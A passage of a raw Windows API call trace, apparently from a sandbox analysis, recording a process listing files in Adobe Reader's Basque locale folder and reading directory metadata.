Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a048 [0081.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278560 [0081.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.855] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 0 [0081.855] GetLastError () returned 0x12 [0081.855] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.855] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.855] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.855] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.EUQ", cAlternateFileName="")) returned 1 [0081.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278668 [0081.856] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0081.857] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.857] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.857] NtClose (Handle=0x16c) returned 0x0 [0081.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1278668) returned 1 [0081.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278668 [0081.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278770 [0081.859] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0081.860] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.860] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278878 [0081.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a068 [0081.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278980 [0081.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.861] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a088 [0081.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1278a88 [0081.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.863] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.863] GetLastError () returned 0x12 [0081.863] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0081.863] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.863] GetLastError () returned 0x12 [0081.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1278770) returned 1 [0081.863] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1278878) returned 1 [0081.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1278668) returned 1 [0081.864] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0081.864] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.EUQ", cAlternateFileName="")) returned 1 [0081.864] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 1 [0081.864] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 0 [0081.864] GetLastError () returned 0x12 [0081.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 